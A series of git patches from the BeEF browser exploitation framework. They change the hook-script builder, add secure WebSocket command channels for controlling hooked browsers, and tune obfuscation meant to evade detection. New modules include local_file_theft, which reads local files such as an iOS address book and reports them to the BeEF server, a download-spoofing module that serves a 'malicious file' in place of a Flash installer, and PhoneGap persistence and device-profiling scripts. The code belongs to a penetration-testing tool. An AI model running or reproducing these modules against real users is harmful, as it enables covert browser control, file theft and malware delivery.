hook_session_config['beef_host'].eql? "0.0.0.0" + hook_session_config['beef_host'] = req_host + hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + end + + # @note if http_port <> public_port in config ini, use the public_port + unless hook_session_config['beef_public_port'].nil? + if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + if hook_session_config['beef_public_port'] == '443' + hook_session_config['beef_url'].sub!(/http:/, 'https:') + end + end + end + + if config.get("beef.http.websocket.enable") + hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") + hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") + hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer") + hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") + end + + # @note populate place holders in the beefjs string and set the response body + eruby = Erubis::FastEruby.new(beefjs) + @hook = eruby.evaluate(hook_session_config) + + if config.get("beef.extension.evasion.enable") + evasion = BeEF::Extension::Evasion::Evasion.instance + @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) + end + + @body << @hook - # @note if http_port <> public_port in config ini, use the public_port - unless hook_session_config['beef_public_port'].nil? - if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] - hook_session_config['beef_port'] = hook_session_config['beef_public_port'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - if hook_session_config['beef_public_port'] == '443' - hook_session_config['beef_url'].sub!(/http:/, 'https:') end + + # Finds the path to js components + # @param [String] component Name of component + # @return [String|Boolean] Returns false if path was not found, otherwise returns component path + def find_beefjs_component_path(component) + component_path = component + component_path.gsub!(/beef./, '') + component_path.gsub!(/\./, '/') + component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" + + return false if not File.exists? component_path + + component_path + end + + # Builds missing beefjs components. + # @param [Array] beefjs_components An array of component names + def build_missing_beefjs_components(beefjs_components) + # @note verifies that @beef_js_cmps is not nil to avoid bugs + @beef_js_cmps = '' if @beef_js_cmps.nil? + + if beefjs_components.is_a? String + beefjs_components_path = find_beefjs_component_path(beefjs_components) + raise "Invalid component: could not build the beefjs file" if not beefjs_components_path + beefjs_components = {beefjs_components => beefjs_components_path} + end + + beefjs_components.keys.each { |k| + next if @beef_js_cmps.include? beefjs_components[k] + + # @note path to the component + component_path = beefjs_components[k] + + # @note we output the component to the hooked browser + @body << File.read(component_path)+"\n\n" + + # @note finally we add the component to the list of components already generated so it does not get generated numerous times. + if @beef_js_cmps.eql? '' + @beef_js_cmps = component_path + else + @beef_js_cmps += ",#{component_path}" + end + } + end + end + end - - if config.get("beef.http.websocket.enable") - hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") - hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") - hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer") - end - - # @note populate place holders in the beefjs string and set the response body - eruby = Erubis::FastEruby.new(beefjs) - @hook = eruby.evaluate(hook_session_config) - - if config.get("beef.extension.evasion.enable") - evasion = BeEF::Extension::Evasion::Evasion.instance - @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) - end - - @body << @hook - end - - # Finds the path to js components - # @param [String] component Name of component - # @return [String|Boolean] Returns false if path was not found, otherwise returns component path - def find_beefjs_component_path(component) - component_path = component - component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') - component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - - return false if not File.exists? component_path - - component_path - end - - # Builds missing beefjs components. - # @param [Array] beefjs_components An array of component names - def build_missing_beefjs_components(beefjs_components) - # @note verifies that @beef_js_cmps is not nil to avoid bugs - @beef_js_cmps = '' if @beef_js_cmps.nil? - - if beefjs_components.is_a? String - beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} - end - - beefjs_components.keys.each {|k| - next if @beef_js_cmps.include? beefjs_components[k] - - # @note path to the component - component_path = beefjs_components[k] - - # @note we output the component to the hooked browser - @body << File.read(component_path)+"\n\n" - - # @note finally we add the component to the list of components already generated so it does not get generated numerous times. - if @beef_js_cmps.eql? '' - @beef_js_cmps = component_path - else - @beef_js_cmps += ",#{component_path}" - end - } - end - end - -end -end -end end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a24506827..b5c6ec0e4 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -27,15 +27,88 @@ module BeEF @@activeSocket= Hash.new @@lastalive= Hash.new @@config = BeEF::Core::Configuration.instance + #@@wsopt=nil MOUNTS = BeEF::Core::Server.instance.mounts def initialize - port = @@config.get("beef.http.websocket.port") - secure = @@config.get("beef.http.websocket.secure") + + + secure = @@config.get("beef.http.websocket.secure") #&& @@config.get("beef.http.https.enable") + @root_dir = File.expand_path('../../../../../', __FILE__) + + if (secure) + #Thread for websocket-secure + Thread.new { + port = @@config.get("beef.http.websocket.secure_port") + sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + EventMachine.run { + + wsopt = {:host => "0.0.0.0", :port => port, :secure => true, + :tls_options => { + :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), + :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") + } + } + + + EventMachine::WebSocket.start(wsopt) do |ws| + begin + print_debug "New WebSocket-secured channel open." + ws.onmessage { |msg| + msg_hash = JSON.parse("#{msg}") + #@note messageHash[result] is Base64 encoded + if (msg_hash["cookie"]!= nil) + print_debug("WebSocket-secured - Browser says helo! WebSocket is running") + #insert new connection in activesocket + @@activeSocket["#{msg_hash["cookie"]}"] = ws + print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]") + elsif msg_hash["alive"] != nil + hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + unless hooked_browser.nil? + hooked_browser.lastseen = Time.new.to_i + hooked_browser.count! + hooked_browser.save + + #Check if new modules need to be sent + zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + + #@todo antisnatchor: + #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + #Check if new forged requests need to be sent (Requester/TunnelingProxy) + dhook = BeEF::Extension::Requester::API::Hook.new + dhook.requester_run(hooked_browser, '') + + #Check if new XssRays scan need to be started + xssrays = BeEF::Extension::Xssrays::API::Scan.new + xssrays.start_scan(hooked_browser, '') + end + else + #json recv is a cmd response decode and send all to + #we have to call dynamicreconstructor handler camp must be websocket + #print_debug("Received from WebSocket #{messageHash}") + execute(msg_hash) + end + } + rescue Exception => e + print_error "WebSocket-secured error: #{e}" + end + end + } + + } + end + + #Thread for websocket Thread.new { + port = @@config.get("beef.http.websocket.port") sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets - EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start) - EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws| + EventMachine.run { + + wsopt = {:host => "0.0.0.0", :port => port} + + + EventMachine::WebSocket.start(wsopt) do |ws| begin print_debug "New WebSocket channel open." ws.onmessage { |msg| @@ -81,6 +154,7 @@ module BeEF } } + end #@note retrieve the right websocket channel given an hooked browser session @@ -115,7 +189,7 @@ module BeEF handler = data["handler"] if handler.match(/command/) BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"], - @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results) + @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results) else #processing results from extensions, call the right handler data["beefhook"] = hooked_browser data["results"] = JSON.parse(Base64.decode64(data["result"])) From 93bb25aa0bc124e04c95547f4a1a767085b62cb7 Mon Sep 17 00:00:00 2001 From: radoen Date: Fri, 10 Aug 2012 13:47:42 +0200 Subject: [PATCH 093/225] Set to false websocket and https --- config.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config.yaml b/config.yaml index 8cb8c95e2..89b5bade7 100644 --- a/config.yaml +++ b/config.yaml @@ -41,8 +41,8 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: - enable: true - secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF + enable: false + secure: false # use WebSocketSecure work only on https domain and whit https support enabled in BeEF port: 61985 # good success rate through proxies secure_port: 61986 #to accept wss connection alive_timer: 1000 # poll BeEF every second @@ -54,7 +54,7 @@ beef: # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: - enable: true + enable: false # In production environments, be sure to use a valid certificate signed for the value # used in beef.http.dns (the domain name of the server where you run BeEF) key: "beef_key.pem" From 8c43fffb3602bc7bbfb203467f54bb5467ae1ede Mon Sep 17 00:00:00 2001 From: sussurro Date: Sun, 12 Aug 2012 19:27:19 -0700 Subject: [PATCH 094/225] Fixed Twitter client to not cause errors on failed tweets allowing logins etc to continue --- extensions/notifications/channels/tweet.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/extensions/notifications/channels/tweet.rb b/extensions/notifications/channels/tweet.rb index 37ae928d6..9f0ce6747 100644 --- a/extensions/notifications/channels/tweet.rb +++ b/extensions/notifications/channels/tweet.rb @@ -38,7 +38,11 @@ module Channels config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret') end - Twitter.direct_message_create(username, message) + begin + Twitter.direct_message_create(username, message) + rescue + print "Twitter send failed, verify tokens have Read/Write/DM acceess..\n" + end end end From 6897962803bdbd52873eb701521ddc56bde36261 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Wed, 15 Aug 2012 13:39:16 +1000 Subject: [PATCH 095/225] Version updated --- VERSION | 2 +- config.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/VERSION b/VERSION index f9105b3dc..ea837d9ad 100644 --- a/VERSION +++ b/VERSION @@ -14,4 +14,4 @@ # limitations under the License. # -0.4.3.6-alpha +0.4.3.7-alpha diff --git a/config.yaml b/config.yaml index 89b5bade7..c746ca493 100644 --- a/config.yaml +++ b/config.yaml @@ -16,7 +16,7 @@ # BeEF Configuration file beef: - version: '0.4.3.6-alpha' + version: '0.4.3.7-alpha' debug: true restrictions: From f2d4a88810a7ca7cf6a0c7c21358f052c28a8af7 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Wed, 22 Aug 2012 20:48:55 +1200 Subject: [PATCH 096/225] added abilty to detect new phonegap renamed 'cordova' --- modules/phonegap/phonegap_detect/command.js | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/phonegap/phonegap_detect/command.js b/modules/phonegap/phonegap_detect/command.js index 1c0ae566b..bc062c00c 100644 --- a/modules/phonegap/phonegap_detect/command.js +++ b/modules/phonegap/phonegap_detect/command.js @@ -23,6 +23,7 @@ beef.execute(function() { phonegap_details = "" + " name: " + device.name + " phonegap api: " + device.phonegap + + " cordova api: " + device.cordova + " platform: " + device.platform + " uuid: " + device.uuid + " version: " + device.version; From ad2bc95cf06df20b664d5acc8a41c597ea535ac1 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Wed, 22 Aug 2012 20:50:03 +1200 Subject: [PATCH 097/225] updated local file theft to accept custom file path --- modules/misc/local_file_theft/command.js | 62 ++++++++++++++++++------ modules/misc/local_file_theft/module.rb | 10 ++++ 2 files changed, 57 insertions(+), 15 deletions(-) diff --git a/modules/misc/local_file_theft/command.js b/modules/misc/local_file_theft/command.js index 148f79d8f..614cdc659 100644 --- a/modules/misc/local_file_theft/command.js +++ b/modules/misc/local_file_theft/command.js @@ -86,6 +86,16 @@ result = ''; } } + fileList['custom']= { + // user defined + "discover" :'', + + "post" :{ + 'result':'<%== @target_file %>', + } + } + + functionList = { mac:{ // OS X disovery @@ -138,11 +148,25 @@ result = ''; grabFiles(homedir,"ios") } } - - alert("ipad") + return true; } }, + custom:{ + // Grab custom stuff + discover : function(){ + tmp = new XMLHttpRequest() + tmp.open('get',fileList['custom']['discover']) + tmp.send() + tmp.onreadystatechange=function(){ + if(tmp.readyState==4){ + homedir = "file:///"; + grabFiles(homedir,"custom") + } + } + return true; + } + }, android:{ // figure out what app (gmail, browser, or dolphin?) android discover : function(){ @@ -172,19 +196,27 @@ result = ''; function identify(){ - if(/.*Android.*/.test(navigator.userAgent)){ - return "android" - } else if(/Linux.*/i.test(navigator.platform)){ - return "linux" - } else if(/iP.*/i.test(navigator.platform)){ - return "ios" - } else if(/.*Mac.*/i.test(navigator.userAgent)){ - return "mac" - } else if(/.*Windows.*/i.test(navigator.userAgent)){ - return "windows" - } else if(/.*hpwOS.*/i.test(navigator.platform)){ - return "webos" - } + + // custom file is specified + if ('<%== @target_file %>' != 'autodetect') { + return "custom" + + // determine a good file to steal based on platform + } else { + if(/.*Android.*/.test(navigator.userAgent)){ + return "android" + } else if(/Linux.*/i.test(navigator.platform)){ + return "linux" + } else if(/iP.*/i.test(navigator.platform)){ + return "ios" + } else if(/.*Mac.*/i.test(navigator.userAgent)){ + return "mac" + } else if(/.*Windows.*/i.test(navigator.userAgent)){ + return "windows" + } else if(/.*hpwOS.*/i.test(navigator.platform)){ + return "webos" + } + } } diff --git a/modules/misc/local_file_theft/module.rb b/modules/misc/local_file_theft/module.rb index d75a3d236..20dd2a5a9 100644 --- a/modules/misc/local_file_theft/module.rb +++ b/modules/misc/local_file_theft/module.rb @@ -19,6 +19,16 @@ class Local_file_theft < BeEF::Core::Command + def self.options + return [ + {'name' => 'target_file', + 'description' => 'The full path to the local file to steal e.g. file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb', + 'ui_label' => 'Target file', + 'value' => 'autodetect' + } + ] + end + def post_execute content = {} content['result'] = @datastore['result'] From 5a9a050c1cada7481ad29f58909be56533328cf9 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Wed, 22 Aug 2012 20:51:49 +1200 Subject: [PATCH 098/225] added new phonegap modules, to check connection type (wifi/3g) and ensure beef hook survives suspend resume of app. --- .../phonegap_check_connection/command.js | 37 +++++++++++++++++++ .../phonegap_check_connection/config.yaml | 27 ++++++++++++++ .../phonegap_check_connection/module.rb | 27 ++++++++++++++ .../phonegap_persist_resume/command.js | 31 ++++++++++++++++ .../phonegap_persist_resume/config.yaml | 27 ++++++++++++++ .../phonegap_persist_resume/module.rb | 26 +++++++++++++ 6 files changed, 175 insertions(+) create mode 100644 modules/phonegap/phonegap_check_connection/command.js create mode 100644 modules/phonegap/phonegap_check_connection/config.yaml create mode 100644 modules/phonegap/phonegap_check_connection/module.rb create mode 100644 modules/phonegap/phonegap_persist_resume/command.js create mode 100644 modules/phonegap/phonegap_persist_resume/config.yaml create mode 100644 modules/phonegap/phonegap_persist_resume/module.rb diff --git a/modules/phonegap/phonegap_check_connection/command.js b/modules/phonegap/phonegap_check_connection/command.js new file mode 100644 index 000000000..470ab3638 --- /dev/null +++ b/modules/phonegap/phonegap_check_connection/command.js @@ -0,0 +1,37 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +beef.execute(function() { + var connection_type; + + getConnectionType = function() { + var states = {}; + states[Connection.UNKNOWN] = 'Unknown connection'; + states[Connection.ETHERNET] = 'Ethernet connection'; + states[Connection.WIFI] = 'WiFi connection'; + states[Connection.CELL_2G] = 'Cell 2G connection'; + states[Connection.CELL_3G] = 'Cell 3G connection'; + states[Connection.CELL_4G] = 'Cell 4G connection'; + states[Connection.NONE] = 'No network connection'; + return states[navigator.network.connection.type]; + } + + try { + connection_type = getConnectionType(); + } catch(e) { + connection_type = "Unable to determine connection type." + } + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "connection_type="+connection_type); +}); diff --git a/modules/phonegap/phonegap_check_connection/config.yaml b/modules/phonegap/phonegap_check_connection/config.yaml new file mode 100644 index 000000000..37ebf924b --- /dev/null +++ b/modules/phonegap/phonegap_check_connection/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# phonegap +# +beef: + module: + phonegap_check_connection: + enable: true + category: "Phonegap" + name: "Check connection" + description: "Find out connection type e.g. Wifi, 3G.." + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_check_connection/module.rb b/modules/phonegap/phonegap_check_connection/module.rb new file mode 100644 index 000000000..708c0d384 --- /dev/null +++ b/modules/phonegap/phonegap_check_connection/module.rb @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# phonegap +# + +class Phonegap_check_connection < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end diff --git a/modules/phonegap/phonegap_persist_resume/command.js b/modules/phonegap/phonegap_persist_resume/command.js new file mode 100644 index 000000000..39bb9ed7e --- /dev/null +++ b/modules/phonegap/phonegap_persist_resume/command.js @@ -0,0 +1,31 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +// +// persist on over app's sleep/wake events +beef.execute(function() { + var result; + + try { + document.addEventListener("resume", beef_init(), false); + result = 'success'; + + } catch (e) { + for(var n in e) { + result+= n + " " + e[n] + "\n"; + } + } + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); +}); diff --git a/modules/phonegap/phonegap_persist_resume/config.yaml b/modules/phonegap/phonegap_persist_resume/config.yaml new file mode 100644 index 000000000..0d08526ab --- /dev/null +++ b/modules/phonegap/phonegap_persist_resume/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# persist on over app's sleep/wake events +beef: + module: + phonegap_persist_resume: + enable: true + category: "Phonegap" + name: "Persist resume" + description: "Persist over applications sleep/wake events" + authors: ["mh"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_persist_resume/module.rb b/modules/phonegap/phonegap_persist_resume/module.rb new file mode 100644 index 000000000..bef0ca663 --- /dev/null +++ b/modules/phonegap/phonegap_persist_resume/module.rb @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +# persist on over app's sleep/wake events +class Phonegap_persist_resume < BeEF::Core::Command + + def post_execute + content = {} + content['result'] = @datastore['result'] + save content + end + +end From f852ca26cb894e349688f310cadd84c5c71878a8 Mon Sep 17 00:00:00 2001 From: bmantra Date: Fri, 24 Aug 2012 20:24:37 +0200 Subject: [PATCH 099/225] lcamtuf download module --- modules/browser/lcamtuf_download/command.js | 38 +++++++++++++++ modules/browser/lcamtuf_download/config.yaml | 26 +++++++++++ modules/browser/lcamtuf_download/module.rb | 49 ++++++++++++++++++++ 3 files changed, 113 insertions(+) create mode 100644 modules/browser/lcamtuf_download/command.js create mode 100644 modules/browser/lcamtuf_download/config.yaml create mode 100644 modules/browser/lcamtuf_download/module.rb diff --git a/modules/browser/lcamtuf_download/command.js b/modules/browser/lcamtuf_download/command.js new file mode 100644 index 000000000..a827c99fa --- /dev/null +++ b/modules/browser/lcamtuf_download/command.js @@ -0,0 +1,38 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var maliciousurl = '<%= @malicious_file_uri %>'; + var realurl = '<%= @real_file_uri %>'; + var w; + var once = '<%= @do_once %>'; + + function doit() { + + if (navigator.userAgent.indexOf('MSIE') == -1){ + w = window.open('data:text/html,', 'foo'); + + setTimeout(donext, 4500); + + } + } + function donext() { + window.open(maliciousurl, 'foo'); + if (once != true) setTimeout(donext, 5000); + once = true; + } + doit(); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command executed"); +}); diff --git a/modules/browser/lcamtuf_download/config.yaml b/modules/browser/lcamtuf_download/config.yaml new file mode 100644 index 000000000..65f57b789 --- /dev/null +++ b/modules/browser/lcamtuf_download/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + lcamtuf_download: + enable: true + category: "Browser" + name: "Lcamtuf Download" + description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ." + authors: ["Bart Leppens"] + target: + working: ["ALL"] + not_working: ["IE"] diff --git a/modules/browser/lcamtuf_download/module.rb b/modules/browser/lcamtuf_download/module.rb new file mode 100644 index 000000000..1d2b707dd --- /dev/null +++ b/modules/browser/lcamtuf_download/module.rb @@ -0,0 +1,49 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Lcamtuf_download < BeEF::Core::Command + + # set and return all options for this module + def self.options + + + return [{ + 'name' => 'real_file_uri', + 'description' => 'The web accessible URI for the real file.', + 'ui_label' => 'Real File Path', + 'value' => 'http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869', + 'width' => '300px' + }, + { + 'name' => 'malicious_file_uri', + 'description' => 'The web accessible URI for the malicious file.', + 'ui_label' => 'Malicious File Path', + 'value' => '', + 'width' => '300px' + }, + { 'name' => 'do_once', 'type' => 'combobox', 'ui_label' => 'Once', 'store_type' => 'arraystore', + 'store_fields' => ['do_once'], 'store_data' => [['false'],['true']], + 'valueField' => 'do_once', 'displayField' => 'do_once', 'mode' => 'local', 'value' => 'false', 'autoWidth' => true + }] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] + + save content + end + +end From aeb17e7d7a2bbed536ff02b7d735c73e14a889b1 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 24 Aug 2012 19:46:02 +0100 Subject: [PATCH 100/225] Changed target support to notify_all for lcamtuf download module (pop-up blockers) --- modules/browser/lcamtuf_download/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/browser/lcamtuf_download/config.yaml b/modules/browser/lcamtuf_download/config.yaml index 65f57b789..0671d8844 100644 --- a/modules/browser/lcamtuf_download/config.yaml +++ b/modules/browser/lcamtuf_download/config.yaml @@ -22,5 +22,5 @@ beef: description: "This module will attempt to execute a lcamtuf download. The file will be served with an alternative Content-Disposition: attachment header. For more information please refer to http://lcamtuf.blogspot.co.uk/2012/05/yes-you-can-have-fun-with-downloads.html ." authors: ["Bart Leppens"] target: - working: ["ALL"] + user_notify: ["ALL"] not_working: ["IE"] From 7ed9516b53cd582771b78a0098adec07c66cd331 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 09:55:53 +0100 Subject: [PATCH 101/225] Obfuscation: removed base64 from the default chain list, added excluded_core_js option --- extensions/evasion/config.yaml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index c75031da8..712989a31 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -19,10 +19,11 @@ beef: enable: true name: 'Evasion' authors: ["antisnatchor"] + exclude_core_js: ["lib/jquery-1.5.2.min.js", "lib/json2.js", "lib/jools.min.js"] scramble_variables: true scramble_cookies: true scramble: beef: "beef" Beef: "Beef" evercookie: "evercookie" - chain: ["scramble", "minify", "base_64"] + chain: ["scramble", "minify"] From 5400696c40a9c2e78bf4fd084e2f81610ea0e43c Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 25 Aug 2012 09:58:25 +0100 Subject: [PATCH 102/225] Refactored and modified beefjs.rb: splitted external lib files from beef files, added the feature for #734 to exclude some core lib js files (like jquery) from obfuscation --- core/main/handlers/modules/beefjs.rb | 65 +++++++++++++++++++--------- 1 file changed, 45 insertions(+), 20 deletions(-) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 5d7b164a0..a5ff93864 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -26,29 +26,51 @@ module BeEF def build_beefjs!(req_host) config = BeEF::Core::Configuration.instance # @note set up values required to construct beefjs - beefjs = '' + beef_js = '' # @note location of sub files - beefjs_path = "#{$root_dir}/core/main/client/" - # @note we load websocket library only if ws server is enabled in config.yalm - # check in init.js - if config.get("beef.http.websocket.enable") + beef_js_path = "#{$root_dir}/core/main/client/" - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) + # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated + ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js) + + # @note Load websocket library only if WS server is enabled in config.yaml + if config.get("beef.http.websocket.enable") == false + # @note BeEF libraries: need Eruby evaluation and obfuscation + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) - - + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) end - # @note construct the beefjs string from file(s) - js_sub_files.each { |js_sub_file_name| - js_sub_file_abs_path = beefjs_path + js_sub_file_name - beefjs << (File.read(js_sub_file_abs_path) + "\n\n") + ext_js_to_obfuscate = '' + ext_js_to_not_obfuscate = '' + + # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate + # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate + ext_js_sub_files.each{ |ext_js_sub_file| + if 